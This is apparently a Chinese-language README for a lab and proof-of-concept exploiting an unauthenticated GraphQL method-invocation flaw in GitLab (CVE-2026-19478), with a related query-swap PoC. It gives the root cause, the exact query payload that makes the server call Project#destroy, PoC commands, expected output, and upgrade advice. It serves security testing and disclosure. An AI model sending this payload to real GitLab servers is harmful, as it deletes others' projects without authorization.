@gl_introduced 未认证任意方法调用(验证实验室 + PoC)针对 CVE-2026-19478(GitLab CE/EE,CVSS 9.4,严重)的可复现 A/B 实验室与安全 PoC。 未认证的攻击者可以对 GraphQL 解析出的领域对象调用任意零参数 Ruby 方法 — 例如调用
Project#destroy来在无凭证的情况下删除公共项目。还附带随同一版本修复的姊妹漏洞 CVE-2026-19650(GraphQL multiplex 查询交换)的 PoC。
**仅限授权的安全测试 / 教育用途。**所有操作均针对您自己的本地容器运行。
GitLab 提供了一个 GraphQL 客户端指令 @gl_introduced(version: "X.Y.Z")(用于滚动部署的前向兼容)。
当查询中某个字段携带的版本高于运行中的服务器版本时,一个追踪器(Gitlab::Graphql::VersionFilter::IntroducedTracer)
会在静态验证之前将其剥离,使查询通过验证,然后在执行时重新运行原始文档,并让未知字段解析为回退值。
漏洞出在回退逻辑中(lib/gitlab/graphql/version_filter/future_field_fallback.rb,补丁前):
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
graphql-ruby 通过调用 object.public_send(field_name) 来解析一个没有 resolver 的 GraphQL::Schema::Field
(graphql-ruby 的 lib/graphql/schema/field.rb — respond_to?(@method_sym) → public_send 分支在
fallback_value 被读取之前就会执行,因此 fallback_value: nil 是死代码)。因此,在 @gl_introduced 下,
客户端可以选择一个与当前解析对象上任意零参数方法同名的字段,服务器就会调用该方法。
解析一个公共项目,请求名为 destroy 的“未来字段” → 服务器执行 Project#destroy。
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H)。Resolvers::NilResolver,它返回 nil 且从不调用任何方法。@gl_introduced(version:) 必须大于服务器版本(使用 99.0.0)。to_param、destroy)。id),否则过滤后的文档是空
选择集,GitLab 会返回 "Field must have selections" 验证错误。环境要求:Docker + docker compose,约 8 GB 可用内存,Python 3。
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh 会为每个实例打印:基础 URL、预置的公共项目路径(root/pub)和管理员 PAT。
使用无害方法(to_param)的方法调用原语。不会改动任何数据。
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
预期输出:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
而在已修复的实例上:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
通过 REST API 创建自己的一次性公共项目(需要 setup.sh 中的管理员令牌),
然后通过未认证的 GraphQL 攻击将其删除,并确认项目已经消失。
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
预期输出(易受攻击的实例):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
在已修复的实例上,同样的运行会报告项目仍返回 200 OK,且 destroy 为 null。
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
将 --url 指向您获得授权测试的任何 GitLab,并将 --project 指向其上的一个公共项目:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
检测是非破坏性的。请不要对任何不属于您的目标使用 --prove-destroy。
升级到 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 或更高版本。修复方案将回退逻辑路由到
Resolvers::NilResolver(返回 nil,绝不调用对象方法)。如果无法立即升级,请在代理层阻止
@gl_introduced 指令 / version-filter 路径,或限制未认证的 GraphQL 访问。
| 文件 | 用途 |
|---|---|
docker-compose.yml | 启动易受攻击的 19.2.2-ce (:8222) 和已修复的 19.2.4-ce (:8224) |
setup.sh | 等待就绪,为每个实例预置 root/pub 公共项目和管理员令牌 |
poc_cve_2026_19478.py | 检测(安全)+ 可选的 --prove-destroy 影响证明 |
poc_cve_2026_19650.py | Multiplex 查询交换检测(安全) |
--prove-destroy 会创建并删除它自己的一次性项目;绝不会触碰 root/pub 或您的数据。e283c6adeb3d(回退)和 d2ea4b971a98(multiplex 交换)推导出该机制。